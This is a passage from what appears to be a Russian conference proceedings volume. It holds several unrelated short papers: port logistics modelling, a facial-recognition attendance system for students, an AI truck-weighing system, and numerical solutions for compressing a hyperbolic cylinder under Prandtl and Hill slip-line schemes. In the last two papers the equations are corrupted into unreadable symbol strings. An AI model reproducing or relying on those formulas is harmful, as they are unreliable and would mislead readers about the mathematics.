логистических процессов. Исследования подчеркивают значимость математических 
методов, таких как теория вероятности и имитационное моделирование: 

Теория вероятности позволяет оценить риски, связанные с неопределенностью в 
грузопотоках и сроках доставки, что позволяет более эффективно планировать и рас-
пределять ресурсы. Это способствует снижению вероятности возникновения «узких 
мест» которые могут привести к задержкам и финансовым убыткам. Изучение конку-
ренции опирается на теоретические знания и практический опыт, полученные в процес-
се развития различных видов и способов конкурентной борьбы. Конкуренция, как спо-
соб регулирования рынка через соперничество, появилась вместе с производством то-
варов [4]. Имитационное моделирование позволяет создавать цифровые модели логи-
стических систем и тестировать различные сценарии, что дает возможность оценить 
эффективность и искать оптимальные пути повышения производительности. С помо-
щью имитационного моделирования можно детально изучить работу порта, выявить 
проблемные зоны и предложить решения для повышения эффективности.  

Теория вероятностей и имитационное моделирование – залог конкурентоспо-
собности и устойчивости портов. Такие решения оптимизируют работу логистических 
цепей, снижают издержки, совершенствуют управление ресурсами, будучи незамени-
мыми для современных портовых операций [3]. 

Имитационное моделирование позволяет «проиграть» разные сценарии и прове-
рить их эффективность, прежде чем внедрять изменения в реальной логистической си-
стеме. Это помогает избежать дорогостоящих ошибок и выбрать наиболее выгодный 
способ улучшения работы.  Использование математических методов обеспечивает глу-
бокий анализ логистических процессов, учитывая различные переменные, такие как 
изменения спроса, сроки доставки, доступность ресурсов и потенциальные проблемы в 
инфраструктуре.  

Математические инструменты также позволяют точно рассчитывать и сокра-
щать расходы на судозаходы, оптимизировать использование ресурсов и предотвра-
щать перегрузки при увеличении объемов грузоперевозок. Такой подход привлекает 
новых клиентов и увеличивает доходы порта за счет повышения пропускной способно-
сти и уменьшения времени простоя судов. 

Моделирование может помочь в оценке различных сценариев, например:  
1) перераспределение грузопотоков - оптимизация процессов обработки грузов 

позволяет существенно сократить время ожидания судов; 
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2) корректировка расписания терминалов - анализ временных данных может 
привести к более эффективному использованию ресурсов, что снизит задержки и повы-
сит общую эффективность порта. 

Математическое моделирование можно производить на основе некоторых про-
грамм, таких как AnyLogic и Microsoft Excel.  

AnyLogic - программное обеспечение, предоставляющее платформу для муль-
тиметодного имитационного моделирования, обеспечивая оптимизацию процессов и 
снижение рисков при работе со сложными системами. 

The AnyLogic Company предоставляет программное обеспечение для имитаци-
онного моделирования, предназначенное для поддержки принятия решений в различ-
ных отраслях, включая транспорт, производство, логистику, добывающую промыш-
ленность, цепочки поставок и здравоохранение. AnyLogic позволяет пользователям со-
здавать 2D- и 3D-модели для проведения анализа «что если», используя встроенные от-
раслевые библиотеки для точного представления сложных систем. В результате анали-
тики, инженеры и менеджеры получают возможность глубже понимать взаимосвязи 
между процессами внутри и вне организации, что способствует оптимизации сложных 
систем и повышению эффективности в широком спектре отраслей. 

С помощью AnyLogic аналитики данных могут создавать реалистичные имита-
ционные модели, используя различные подходы, такие как дискретно-событийное и 
агентное моделирование. Платформа позволяет визуализировать модели с помощью 
графических объектов, представляющих реальные элементы бизнеса и использовать 
встроенные ГИС-карты для моделирования процессов, происходящих в реальном мире, 
с учетом географического расположения объектов. 

Microsoft Excel – это мощная программа, предназначенная для работы 
с таблицами и данными. Своими бесчисленными возможностями и удобным интерфей-
сом она стала незаменимым инструментом для многих пользователей по всему миру. 
Excel – это гораздо больше, чем просто табличный редактор. Это мощная платформа 
для анализа и обработки данных, которая позволяет выполнять сложные математиче-
ские расчеты, строить диаграммы и графики, а также создавать профессиональные от-
четы. Благодаря своей гибкости и широкому набору функций, Excel находит примене-
ние в самых разных областях – от составления личного бюджета до разработки слож-
ных финансовых моделей. Excel позволяет легко обрабатывать большие объемы дан-
ных, быстро выполнять вычисления и визуализировать результаты, что делает Excel 
незаменимым инструментом для управления информацией и принятия обоснованных 
решений в бизнесе и других сферах. Excel используется для ведения бухгалтерского 
учета, создания финансовых отчетов, планирования проектов, анализа рыночных дан-
ных и многого другого [5]. 

В современном мире логистику можно представить и проанализировать с помо-
щью компьютерных технологий, используя числовые данные. Эти компьютерные мо-
дели, описывающие логистические процессы, являются математическими, так как они 
оперируют количественными показателями. Большинство логистических задач реша-
ются с помощью математических моделей, которые, по сути, являются оптимизацион-
ными. Их главная цель, найти наилучшее решение для достижения максимальной эф-
фективности. 

Математическое моделирование – это важный инструмент для оптимизации ра-
боты морских портов, таких как Владивосток, в условиях современных вызовов. При-
менение этих методов позволит усовершенствовать процессы логистики, укрепить по-
зиции порта на мировом рынке и добиться снижения расходов на обработку грузов. 
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Аннотация. Контроль посещаемости студентов представляет собой значимый аспект 
обеспечения качества образовательного процесса в вузах. Современные вызовы в сфере 
цифровизации образования обуславливают потребность в автоматизированных и ин-
теллектуальных системах учета. Цель данной статьи оценить эффективность примене-
ния интеллектуальной системы контроля посещаемости студентов в условиях высшего 
учебного заведения. В рамках исследования рассматриваются технологические воз-
можности, архитектура системы и предполагаемые эффекты от её внедрения. Результа-
ты анализа подтверждают потенциал использования интеллектуальных технологий для 
повышения точности и оперативности контроля посещаемости, а также для оптимиза-
ции учебного процесса в целом. 
Annotation. Student attendance control is an important aspect of ensuring the quality of the 
educational process at universities. Modern challenges in the field of digitalization of educa-
tion create the need for automated and intelligent accounting systems. The purpose of this ar-
ticle is to evaluate the effectiveness of an intelligent student attendance system in a higher ed-
ucation institution. The study examines the technological capabilities, architecture of the sys-
tem and the expected effects of its implementation. The results of the analysis confirm the po-
tential of using intelligent technologies to improve the accuracy and efficiency of attendance 
control, as well as to optimize the educational process as a whole. 
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В условиях активного внедрения цифровых технологий в сферу образования бы-
ла разработана интеллектуальная система контроля посещаемости студентов, направ-
ленная на повышение прозрачности, точности учета и автоматизацию процессов кон-
троля [1]. Система включает в себя модули распознавания лиц с применением техноло-
гий компьютерного зрения, облачное хранилище данных, интерфейс для преподавате-
лей и студентов, а также аналитический модуль для формирования отчетности. В рам-
ках настоящей статьи проводится оценка эффективности внедрения данной системы в 
учебный процесс вуза. Согласно предварительным результатам, уровень точности рас-
познавания студентов при входе в учебное заведение составил 97,3 %, а количество 
своевременно зафиксированных посещений увеличилось на 42 % по сравнению с руч-
ным учетом. Эти данные позволяют говорить о высокой эффективности рассматривае-
мого подхода и его потенциале для широкого применения в высшем образовании. 

Контроль посещаемости студентов представляет одну из ключевых задач, влия-
ющих на организацию учебного процесса, дисциплину обучающихся и уровень их ака-
демической успеваемости. На практике в вузах до сих пор применяются ручные методы 
фиксации посещений или упрощённые цифровые решения от бумажных журналов до 
регистрации через электронные ведомости. Однако такие подходы не только трудоза-
тратны и подвержены человеческому фактору, но и не исключают возможность фаль-
сификации данных: студент может попросить соседа по парте отметить его присут-
ствие либо передать пропуск третьим лицам [2]. Разработанная интеллектуальная си-
стема контроля посещаемости студентов направлена на исключение подобных наруше-
ний и автоматизацию учета с высокой степенью точности. Система построена на ис-
пользовании технологий компьютерного зрения и включает в себя следующие компо-
ненты: модуль распознавания лиц, реализованный на основе сверточных нейронных 
сетей, с точностью идентификации личности до 97,3 %; IP-камеры с высоким разреше-
нием (Full HD), установленные при входе в учебный корпус и у входов в аудитории; 
локальный сервер обработки данных с резервным хранением в облачном хранилище; 
интерфейс администратора и преподавателя, через который можно оперативно про-
сматривать и выгружать отчёты о посещаемости; аналитический модуль, формирую-
щий статистику по каждому студенту, группе и дисциплине, с возможностью раннего 
выявления систематических пропусков [3]. На рис. 1 представлен вариант исполнения 
описываемой технологии. Так, попадая в стены университета предполагается сканиро-
вание лица студента для подтверждения факта о его прибытии на занятия на основе 
сравнения с датасетом, заложенным в базу данных информационной системы. 

 
Рисунок 1 – Работа системы контроля посещаемости 

Пилотное внедрение системы было реализовано в учебном корпусе одного из 
технических университетов. В течение первых двух месяцев эксплуатации удалось ав-
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томатизировать до 92 % процессов учета посещаемости, снизить количество недосто-
верных отметок на 85 %, а также повысить общий процент фиксируемых посещений с 
63 % до 89 %. Внедрение также позволило сократить административную нагрузку на 
преподавателей и повысить прозрачность взаимодействия между студентом и универ-
ситетом [4]. В итоге, рассматриваемая система не только решает проблему точного 
контроля посещаемости, но и открывает перспективы для дальнейшего анализа поведе-
ния студентов, внедрения мотивационных стратегий и повышения общей эффективно-
сти образовательного процесса.  

Исследование по оценке эффективности внедрения интеллектуальной системы 
контроля посещаемости студентов проводилось в течение 30 календарных дней на базе 
одного из факультетов университета. В эксперименте приняли участие 428 студентов 
дневной формы обучения, посещающих занятия по расписанию в 12 аудиториях, осна-
щённых камерами и модулями распознавания лиц. Каждому студенту при старте был 
присвоен цифровой идентификатор, связанный с его лицевой биометрией [5]. В течение 
исследования система обрабатывала в среднем по 3 200 событий входа в здание и ауди-
тории ежедневно, что в совокупности дало более 96 000 событий за весь период. Ре-
зультаты были сопоставлены с данными ручной фиксации посещений преподавателя-
ми, а также с журналами доступа в здание. 

По итогам анализа следует заключить: точность распознавания лиц составила 
97,3 % от общего числа событий (ошибки возникали, как правило, при резком движе-
нии студентов, сильном изменении внешности или недостаточном освещении); уровень 
ложноположительных срабатываний (фиксируемое посещение при отсутствии студен-
та) составил менее 1,4 %; уровень ложных отрицаний (пропущенное реальное посеще-
ние) – около 1,3 %; время распознавания одного лица в среднем не превышало 0,8 се-
кунды; нагрузка на сервер не превышала 64 % при пиковой активности; отчеты о посе-
щаемости автоматически формировались и рассылались каждые 24 часа, покрывая до 
100 % расписанных занятий. В результате проведенного анализа следует отметить, что 
система показала высокую стабильность работы, автоматизировала сбор данных с ми-
нимальной погрешностью и продемонстрировала свою пригодность для масштабного 
внедрения в учебных заведениях. 

В заключение стоит подчеркнуть, что интеллектуальная система контроля посе-
щаемости студентов, основанная на технологиях компьютерного зрения, представляет 
собой перспективное направление цифровизации образовательного процесса. Прове-
дённое экспериментальное исследование подтвердило высокую точность работы пред-
ложенного решения - 97,3 %, что демонстрирует его пригодность для практического 
применения в реальных условиях высшего учебного заведения. Создание автоматизи-
рованного механизма фиксации посещаемости позволяет исключить человеческий фак-
тор, снизить возможность мошенничества со стороны студентов, а также упростить ра-
боту преподавателей и учебных отделов [6]. Также, систематизация и накопление точ-
ных данных о посещаемости открывают новые возможности для аналитики и повыше-
ния общей дисциплины студентов. Разработка подобной системы является вкладом в 
модернизацию учебных процессов в соответствии с современными цифровыми стан-
дартами. В дальнейшем предполагается расширение функциональности, повышение 
устойчивости к внешним воздействиям, а также масштабирование проекта на другие 
учебные подразделения. 
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ПОВЫШЕНИЕ ЭФФЕКТИВНОСТИ КОНТРОЛЯ ГРУЗОПОТОКА  
В ПРОМЫШЛЕННОМ СЕКТОРЕ НА ОСНОВЕ ИНТЕЛЛЕКТУАЛЬНОЙ 
СИСТЕМЫ ВЗВЕШИВАНИЯ АВТОТРАНСПОРТА 
 
IMPROVING THE EFFICIENCY OF CARGO FLOW CONTROL  
IN THE INDUSTRIAL SECTOR BASED ON AN INTELLIGENT VEHICLE 
WEIGHING SYSTEM 
 
Аннотация. Повышение эффективности контроля грузопотока в промышленном секто-
ре является ключевым направлением для оптимизации логистических процессов, обес-
печения точности учета и предотвращения мошенничества. Цель представленной ста-
тьи заключается в оценке эффективности внедрения интеллектуальной системы взве-
шивания автотранспорта, основанной на технологиях искусственного интеллекта и 
компьютерного зрения. Проведённая оценка показала повышение точности взвешива-
ния и скорости обработки грузопотока, что подтверждает целесообразность внедрения 
интеллектуальных систем в данной сфере. 
Abstract. Improving the efficiency of cargo flow control in the industrial sector is a key focus 
for optimizing logistics processes, ensuring accounting accuracy and fraud prevention. The 
purpose of the presented article is to evaluate the effectiveness of the introduction of an intel-
ligent weighing system for vehicles based on artificial intelligence and computer vision tech-
nologies. The conducted assessment showed an increase in the accuracy of weighing and the 
speed of cargo flow processing, which confirms the expediency of introducing intelligent sys-
tems in this area. 
Ключевые слова: Интеллектуальная система, автотранспортное средство, взвешивание, 
автоматизация. 
Key words: Intelligent system, vehicle, weighing, automation. 

 
Современные информационные технологии позволяют существенно повысить 

качество и эффективность выполнения различных технологических процессов [1]. При 
этом одними из наиболее перспективных технологий из данного сегмента являются ин-
теллектуальные инструменты. В рамках представленной статьи более подробно рас-
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сматривается задача, связанная с необходимостью создания интеллектуальной системы, 
способной автоматизировать и повысить эффективность выполнения технологического 
процесса весового контроля для автотранспортных средств и оценивается эффект от ее 
внедрения. Разработанная интеллектуальная система весового контроля автотранспорта 
представляет собой программно-аппаратный комплекс, включающий в себя четыре 
ключевых модуля: модуль автоматического распознавания государственных регистра-
ционных номеров (ГРН), модуль считывания показаний весов, модуль передачи и обра-
ботки данных, а также аналитический модуль для расчёта массы груза и формирования 
отчетов. В техническую часть системы входят: видеокамеры высокого разрешения (2 
шт.) для распознавания номеров и фиксации въезда/выезда транспортных средств; 
цифровые тензометрические весы с точностью измерения ±0,5% (1 комплект); про-
мышленный контроллер для обработки данных в реальном времени; сервер с установ-
ленным ПО на базе ИИ-алгоритмов компьютерного зрения и базой данных для хране-
ния информации [2]. На рисунке 1 представлена схема реализованной системы с ис-
пользованием искусственного интеллекта. Данная интеллектуальная система позволит 
полностью автоматизировать технологический процесс и снизить вероятность возник-
новения ошибок при считывании и передаче показаний.  

 
Рисунок 1 – Интеллектуальная система весового контроля 

Всего был внедрен 1 комплекс на одной из логистических площадок промыш-
ленного предприятия. Система обеспечила бесперебойную работу в круглосуточном 
режиме в течение 30 суток. За этот период зафиксировано 2 374 цикла взвешивания, 
при этом точность автоматического считывания номеров составила 98,1%, а точность 
фиксации массы и расчетной разницы - 97,8%. В результате, по сравнению с ручной 
системой, зафиксировано сокращение времени обслуживания одного автотранспорта на 
42%, а количество ошибок снизилось более чем в 4 раза. 

Помимо высокой точности работы интеллектуальной системы (точность распо-
знавания номеров – 98,1%, фиксации массы – 97,8%), были достигнуты значительные 
улучшения в организационно-технических аспектах работы персонала, особенно со 
стороны администратора, ответственного за контроль грузопотока [3]. Автоматизация 
ключевых операций (считывание номеров, фиксация веса, передача и обработка дан-
ных) позволила сократить время обработки одного транспортного средства с 6 минут 
до 3,4 минут, что обеспечило повышение пропускной способности на 44%. Благодаря 
исключению ручного ввода информации, нагрузка на администратора снизилась при-
мерно на 60%, освободив его от рутинной документационной работы и позволив сосре-
доточиться на контроле нестандартных ситуаций и анализе логистических показателей 
[4]. В результате внедрения интеллектуальной системы повысилась общая эффектив-
ность логистического узла предприятия, а скорость подготовки отчетной документации 
сократилась в среднем с 45 минут до 12 минут в день. 
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Внедрение автоматизированных модулей с элементами компьютерного зрения 
позволило не только существенно повысить точность фиксации данных (до 98,1%), но 
и значительно снизить нагрузку на персонал, сократить время обработки операций и 
минимизировать человеческий фактор. Полученные результаты демонстрируют целе-
сообразность масштабного применения подобных решений на объектах с интенсивным 
грузопотоком, что в конечном итоге способствует повышению общей эффективности 
логистических процессов и улучшению контроля за движением грузов. 
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ЦИЛИНДРА ПЛОСКИМ ШТАМПОМ ПО СХЕМЕ ПРАНДТЛЯ 
 
NUMERICAL SOLUTION OF THE PROBLEM OF HYPERBOLIC CYLINDER 
COMPRESSION BY A FLAT DIE ACCORDING TO PRANDTL SCHEME 
 
Аннотация. В представленной работе приводится численное решение задачи о сжатии 
плоским штампом выпуклой заготовки, форма недеформированной поверхности кото-
рой задаётся уравнением гиперболического цилиндра. Используемое поле линий 
скольжения соответствует схеме Прандтля решения классической задачи о штампе. 
Данную схему отличает наличие под штампом области, которая движется вместе с ним 
как жёсткое целое. Результатом работы является численное решение системы диффе-
ренциальных уравнений для заданных значений коэффициентов уравнения гиперболи-
ческого цилиндра, определяющего форму поверхности заготовки. Полученное решение 
позволяет определить параметры пластической области и форму деформированной 
границы выдавленного материала в любой момент времени. В решении задачи учиты-
вался коэффициент трения. 
Abstract. In this paper we present a numerical solution to the problem of a flat die pressing a 
convex workpiece, the shape of the undeformed surface of which is given by the hyperbolic 
cylinder equation. The slip line field used corresponds to the Prandtl scheme of the classical 
die problem. This scheme is characterized by the presence of a region under the die that 
moves with it as a rigid whole. The parameters of the plastic region and the shape of the de-
formed boundary of the extruded material at each instant are determined by solving the sys-
tem of differential equations with a deviating argument. The result of the work is the numeri-
cal solution of the system for the given values of the coefficients of the hyperbolic cylinder 
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equation determining the shape of the surface of the workpiece. The coefficient of friction 
was taken into account when solving the problem. 
Ключевые слова: математическая модель, плоская деформация, пластическое течение, 
модель жесткопластического тела, численные методы 
Key words: mathematical model, plane deformation, plastic flow, rigid-plastic model, numer-
ical methods 
 

Целью работы является численное решение задачи о сжатии выпуклого тела, 
имеющего форму гиперболического цилиндра плоским штампом с учётом коэффици-
ента трения и полем линий скольжения, соответствующим схеме Прандтля.  

Решение поставленной задачи сводится к решению системы дифференциальных 
уравнений с отклоняющимся аргументом, которая определяет параметры пластической 
области и форму деформированной границы материала. 

Полученные в ходе работы результаты актуальны при расчётах прочности кон-
струкций различного назначения, поскольку могут быть использованы для вычисления 
деформаций, получаемых в процессе сжатия частицами материала в окрестностях осо-
бенностей поля линий скольжения. К ранним решениям относится решение Прандтля 
задачи о вдавливании абсолютно твёрдого штампа с плоским основанием в пластиче-
ское полупространство. Другое решение было предложено Р. Хиллом [3]. Им же в ра-
боте [2] рассматривалось решение задачи о сжатии клина плоским штампом. Обобще-
ние решений Хилла и Прандтля для задачи о сжатии выпуклого тела плоским штампом 
приводится в работах [1] и [4]. 

Поле линий скольжения, соответствующее схеме Прандтля представлено на ри-
сунке 1. 

 
Рисунок 1 – Поле линий скольжения по схеме Хилла 

Пластическая область 𝐴′𝐷𝐸𝐶𝐴, состоит из двух треугольных областей 𝐴′𝐷𝐴 и 
𝐴𝐸𝐶 и центрированного веера характеристик 𝐷𝐴𝐸. В отличие от схемы Хилла, в схеме 
Прандтля треугольная область 𝐴′𝐷𝐴, находящаяся под штампом, движется вместе с 
ним как жёсткое целое. Система дифференциальных уравнений для решения задачи 
имеет вид: 

 𝑦ሺ𝑡ሻ ൌ 𝑓൫𝑥ሺ𝑡ሻ൯, 
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Здесь 𝑥ሺ𝑡ሻ, 𝑦ሺ𝑡ሻ – координаты точки 𝐶 в момент времени 𝑡, 𝜂 – угол, зависящий от 

коэффициента трения 𝜇 ൌ ୡ୭ୱ ଶఎ

ଵାୱ୧୬ ଶఎ
, 𝜏ሺ𝑡ሻ – параметр запаздывания, совпадающий со 
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временем начала движения материальной точки, имеющей в момент времени 𝑡 коорди-
наты 𝑥ሺ𝑡ሻ, 𝑦ሺ𝑡ሻ. 
 Система (1) может быть решена методом последовательного интегрирования [5]. 
Он заключается в разбиении промежутка времени 𝑡, на котором определяются неиз-
вестные величины, на 𝑛 частей. На каждом из полученных отрезков времени решается 
система без отклонения, при этом функции, зависящие от параметра запаздывания, 
определяются решением, полученным на предыдущем шаге. Таким образом, на теку-
щее состояние рассматриваемой системы влияет её состояние в каждый из предыдущих 
моментов времени.  
 Поскольку, как и в случае схемы Хилла, в окрестности 𝑡 ൌ 0 значения произ-
водных 𝑥ᇱ

 и 𝑥ᇱ
 стремятся к бесконечности, а угол раскрытия веера 𝜓 ൎ 𝜓, то при 

малых значениях 𝑡 может быть рассмотрено приближённое решение задачи, при 
𝜓 ൌ 𝜓. Тогда значение 𝑥 определяется уравнением 

 െ
√ଶ ௦ቀഏ

ర
ାఎିటబቁ

௦ ఎା√ଶ ௦ቀഏ
ర

ାఎିటబቁ
𝑥 െ 𝑡 ൌ 𝑓ሺ𝑥ሻ. (2) 

Форма недеформированной поверхности заготовки задаётся уравнением 

 𝑦 ൌ √2 െ ඥ𝑥
ଶ  2, (3) 

коэффициент трения 𝜇 ൌ 0.12, тогда 𝜂 ൎ 0.67 радиан. Значение 𝜓 вычисляется из 
условия совместности системы (1) 

 √2 𝑠𝑖𝑛 ቀగ

ସ
 𝜂 െ 𝜓ቁ ቂ2 𝑐𝑜𝑠 𝜂  √2 𝑐𝑜𝑠 ቀగ

ସ
 𝜂 െ 𝜓ቁቃ ൌ 0 (4) 

и равно 83°21′55′′. 
Первый этап деформирования происходит до момента времени 𝑡ଵ ൌ 0.0016.  
Для нахождения решения на втором этапе систему (1) сводится к одному диф-

ференциальному уравнению относительно неизвестной 𝜓ሺ𝑡ሻ. Это уравнение имеет вид: 

 𝜓ᇱ ൌ

௩ି
ೣ

ටೣ
మశమ

௨ା௦ ఎ௨మ

௨ ௦ ఎቂሺ௨ି௦ ఎሻ௫ି௩ቀ√ଶିඥ௫
మାଶା௧ቁቃି௩ ௦ ఎ௫௩ି

ೣ

ටೣ
మశమ

௨

, (5) 

где  𝐴 ൌ 𝑤 
ሺ௭ାଵሻቀ௫ᇲ

ሺఛಲሻି௪ሺఛಲሻቁ

௭ሺఛಲሻି௬ᇲ
ሺఛಲሻ

, 𝑥ᇱ
ሺ𝜏ሻ ൌ ି௨ඥ௫ሺ௧భሻమାଶ

௩ඥ௫ሺ௧భሻమାଶି௨௫ሺ௧భሻ
, 𝑦ᇱ

ሺ𝜏ሻ ൌ െ1, 𝑢 ൌ 𝑐𝑜𝑠 𝜂 

√2 𝑐𝑜𝑠 ቀగ

ସ
 𝜂 െ 𝜓ቁ, 𝑣 ൌ √2 𝑠𝑖𝑛 ቀగ

ସ
 𝜂 െ 𝜓ቁ, 𝑤 ൌ 𝑐𝑜𝑠 𝜂 𝑐𝑜𝑠ሺ𝜓 െ 𝜂ሻ, 𝑧 ൌ 𝑐𝑜𝑠 𝜂 𝑠𝑖𝑛ሺ𝜓 െ

𝜂ሻ. 
 Уравнение (5) решается с использованием численных методов, например, мето-
дом Адамса. На рисунке 2 представлен график функции 𝜓. 

 
 

Рисунок 2 – График изменения угла раскрытия веера 𝜓ሺ𝑡ሻ 
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Уравнения деформированной поверхности задаются в параметрическом виде: 

 𝑥ሺ𝑡, 𝜏ሻ ൌ 𝑐𝑜𝑠 𝜂  𝑐𝑜𝑠ሺ𝜓 െ 𝜂ሻ௧
ఛಲ

𝑑𝑡  𝑥ሺ𝜏ሻ, (6) 

 𝑦ሺ𝑡, 𝜏ሻ ൌ 𝑐𝑜𝑠 𝜂  𝑠𝑖𝑛ሺ𝜓 െ 𝜂ሻ௧
ఛಲ

𝑑𝑡  𝑦ሺ𝜏ሻ. 

 
Рисунок 3 – Пластическая область и деформированная поверхность 

На рисунке 3 построены пластическая область (пунктирная линия) и деформи-
рованная поверхность материала в момент времени 𝑡ଶ ൌ 0.011.  

Усилие, необходимое для вдавливания штампа можно вычислить по формуле: 
 𝑝 ൌ 4𝑘𝑥ሺ1  𝜓ሻ. (7) 

График зависимости удельного усилия (


ଶ
) от времени приведён на рисунке 4. 

 
Рисунок 4 – График изменения удельного усилия, необходимого для сжатия 

гиперболического цилиндра плоским штампом 
Результатом работы является численное решение задачи о сжатии выпуклого те-

ла, имеющего форму гиперболического цилиндра, плоским штампом с учётом коэффи-
циента трения по схеме Прандтля. Задача решена для недеформированной поверхно-
сти, задаваемой уравнением  𝑦 ൌ √2 െ √𝑥ଶ  2 и коэффициента трения 𝜇 ൌ 0.12. Ре-
шение задачи осуществлялось в два этапа. На первом этапе от 𝑡 ൌ 0 до 𝑡ଵ ൌ 0.0016 
предполагается, что 𝜓 ൌ 𝜓; на втором этапе угол 𝜓 монотонно уменьшается до 0. При  
𝜓 ൌ 0 дальнейшее построение решения невозможно. 
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ЧИСЛЕННОЕ РЕШЕНИЕ ЗАДАЧИ О СЖАТИИ ГИПЕРБОЛИЧЕСКОГО 
ЦИЛИНДРА ПЛОСКИМ ШТАМПОМ ПО СХЕМЕ ХИЛЛА 
 
NUMERICAL SOLUTION OF THE PROBLEM OF HYPERBOLIC CYLINDER 
COMPRESSION BY FLAT DIE USING HILL SCHEME 
 
Аннотация. В представленной работе приводится численное решение задачи о сжатии 
плоским штампом выпуклой заготовки, форма недеформированной поверхности кото-
рой задаётся уравнением гиперболического цилиндра. Рассматриваемое поле линий 
скольжения соответствует предложенному Хиллом для решения задачи о штампе. Па-
раметры пластической области и форма деформированной границы выдавленного в 
процессе сжатия материала в любой момент времени определяются системой диффе-
ренциальных уравнений с отклоняющимся аргументом. Результатом работы является 
численное решение системы для заданных значений коэффициентов уравнения гипер-
болического цилиндра, определяющего форму поверхности заготовки. В решении зада-
чи учитывался коэффициент трения. 
Abstract. In this paper we present a numerical solution of the problem of compression by a 
flat die of a convex billet whose shape of the undeformed surface is given by the hyperbolic 
cylinder equation. The field of slip lines considered corresponds to that proposed by Hill for 
the solution of the die problem. The parameters of the plastic region and the shape of the de-
formed boundary of the material extruded in the process of compression at each instant are 
determined by a system of differential equations with a deviating argument. The result of the 
work is the numerical solution of the system for the given values of the coefficients of the hy-
perbolic cylinder equation defining the shape of the surface of the workpiece. The coefficient 
of friction is taken into account in the solution of the problem. 
Ключевые слова: математическая модель, плоская деформация, пластическое течение, 
модель жесткопластического тела, численные методы 
Key words: mathematical model, plane deformation, plastic flow, rigid-plastic model, numer-
ical methods 
 

Целью работы является численное решение задачи о сжатии выпуклого тела, 
имеющего форму гиперболического цилиндра плоским штампом с учётом коэффици-
ента трения и полем линий скольжения, соответствующим схеме Хилла. 
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Решение поставленной задачи сводится к решению системы дифференциальных 
уравнений с отклоняющимся аргументом, которая определяет параметры пластической 
области и форму деформированной границы материала. 

Полученные в ходе работы результаты актуальны при расчётах прочности кон-
струкций различного назначения, поскольку могут быть использованы для вычисления 
деформаций, получаемых в процессе сжатия частицами материала в окрестностях осо-
бенностей поля линий скольжения. К ранним решениям относится решение Прандтля 
задачи о вдавливании абсолютно твёрдого штампа с плоским основанием в пластиче-
ское полупространство. Другое решение было предложено Р. Хиллом [3]. Им же в ра-
боте [2] рассматривалось решение задачи о сжатии клина плоским штампом. Обобще-
ние решений Хилла и Прандтля для задачи о сжатии выпуклого тела плоским штампом 
приводится в работах [1] и [4]. 

Алгоритм решения задачи о сжатии выпуклого тела плоским штампом аналоги-
чен задаче о вдавливании клина в выпуклое тело. Поле линий скольжения, соответ-
ствующее схеме Хилла представлено на рисунке 1. 

 
Рисунок 1 – Поле линий скольжения по схеме Хилла 

Для построения пластической области 𝑂𝐷𝐸𝐶𝐴, состоящей из двух треугольных 
областей 𝑂𝐷𝐴 и 𝐴𝐸𝐶 и центрированного веера характеристик 𝐷𝐴𝐸, необходимо в каж-
дый момент времени 𝑡 вычислить координаты точек 𝐴 и 𝐶 и угол раскрытия вера 𝜓ሺ𝑡ሻ. 
Перечисленные величины связаны между собой системой дифференциальных уравне-
ний с запаздывающим аргументом: 

 𝑦ሺ𝑡ሻ ൌ 𝑓൫𝑥ሺ𝑡ሻ൯, 

𝑥√2 𝑐𝑜𝑠 𝜂 𝑠𝑖𝑛 ቀଷగ

ସ
െ 𝜂 െ 𝜓ቁ  ሺ𝑦  𝑡ሻ ቀ1  √2 𝑐𝑜𝑠 𝜂 𝑐𝑜𝑠 ቀଷగ

ସ
െ 𝜂 െ 𝜓ቁቁ ൌ 0, 

 
௫

ଵା√ଶ ௦ ఎ ௦ቀయഏ
ర

ିఎିటቁ
ൌ ቀ ଵ

ୡ୭ୱ ఎ
 𝑐𝑜𝑠 ቀ𝜂  𝜓 െ గ

ଶ
ቁ 𝑑𝑡  𝑥ሺ𝜏ሻ

௧
ఛಲ

ቁ, (1) 

 
ଵ

ୡ୭ୱ ఎ
 𝑠𝑖𝑛 ቀ𝜂  𝜓 െ గ

ଶ
ቁ 𝑑𝑡

௧
ఛಲ

 𝑦ሺ𝜏ሻ  𝑡 ൌ 0. 

Здесь 𝑥ሺ𝑡ሻ, 𝑦ሺ𝑡ሻ – координаты точки 𝐶 в момент времени 𝑡, 𝜂 – угол, зависящий от 

коэффициента трения 𝜇 ൌ ୡ୭ୱ ଶఎ

ଵାୱ୧୬ ଶఎ
, 𝜏ሺ𝑡ሻ – параметр запаздывания, совпадающий со 

временем начала движения материальной точки, имеющей в момент времени 𝑡 коорди-
наты 𝑥ሺ𝑡ሻ, 𝑦ሺ𝑡ሻ. 
 Система (1) может быть решена методом последовательного интегрирования [5]. 
Отрезок времени 𝑡, на котором определяются неизвестные величины, делится на 𝑛 ча-
стей, на каждой из которых решение системы находится интегрированием без запазды-
вания. Решение на каждом -м шаге учитывает состояние системы на предыдущем 
ሺ𝑖 െ 1ሻ-м шаге.  
 Поскольку в окрестности 𝑡 ൌ 0 значения производных 𝑥ᇱ

 и 𝑥ᇱ
 стремятся к бес-

конечности, а угол раскрытия веера 𝜓 ൎ 𝜓, то на первом этапе от 𝑡 ൌ 0 до 𝑡ଵ опреде-
ление неизвестных путём решения системы (1) затруднено, и рассматривается прибли-



507 

жённое решение задачи, при котором значение угла  𝜓 ൌ 𝜓. Тогда значение 𝑥 опре-
деляется из уравнения 

 െ
√ଶ ௦ ఎ ௦ቀయഏ

ర
ିఎିటబቁ

√ଶ ௦ ఎ ௦ቀయഏ
ర

ିఎିటబቁାଵ
𝑥 െ 𝑡 ൌ 𝑓ሺ𝑥ሻ. (2) 

Форма недеформированной поверхности заготовки задаётся уравнением 

 𝑦 ൌ √2 െ ඥ𝑥
ଶ  2, (3) 

коэффициент трения 𝜇 ൌ 0.12, то есть 𝜂 ൎ 0.67 радиан. Значение 𝜓 вычисляется из 
условия совместности системы (1) 

 √2 𝑐𝑜𝑠 𝜂 𝑠𝑖𝑛 ቀଷగ

ସ
െ 𝜂 െ 𝜓ቁ ቂ2  √2 𝑐𝑜𝑠 𝜂 𝑐𝑜𝑠 ቀଷగ

ସ
െ 𝜂 െ 𝜓ቁቃ ൌ 0 (4) 

и равно 96°36′2′′. 
Первый этап деформирования происходит до момента времени 𝑡ଵ ൌ 0.00143. 

Для нахождения решения на втором этапе систему (1) следует свести к одному диффе-
ренциальному уравнению относительно неизвестной 𝜓ሺ𝑡ሻ. Это уравнение имеет вид: 

 𝜓ᇱ ൌ

௩ି
ೣ

ටೣ
మశమ

ሺ௨ାଵሻାଵሺଵା௨ሻమ

௨ሺଵା௨ሻ௫ି௩ሺଵା௨ሻቀ√ଶିඥ௫
మାଶା௧ቁି௩௫௩ି

